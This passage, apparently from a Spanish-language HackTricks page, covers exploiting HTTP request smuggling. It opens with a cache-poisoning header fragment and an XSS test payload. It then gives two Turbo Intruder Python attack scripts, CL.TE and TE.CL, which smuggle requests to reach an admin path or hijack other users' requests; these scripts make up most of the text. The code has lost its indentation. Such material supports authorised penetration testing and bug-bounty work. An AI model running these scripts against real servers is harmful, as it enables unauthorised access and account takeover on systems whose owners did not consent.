Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizando HTTP Request Smuggling con HTTP Response Desynchronisation

¿Has encontrado alguna HTTP Request Smuggling vulnerability y no sabes cómo exploit it. Prueba estos otros métodos de exploitation:

HTTP Response Smuggling / Desync

Otras técnicas de HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Scripts de Turbo intruder

CL.TE

Desde https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Herramientas

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks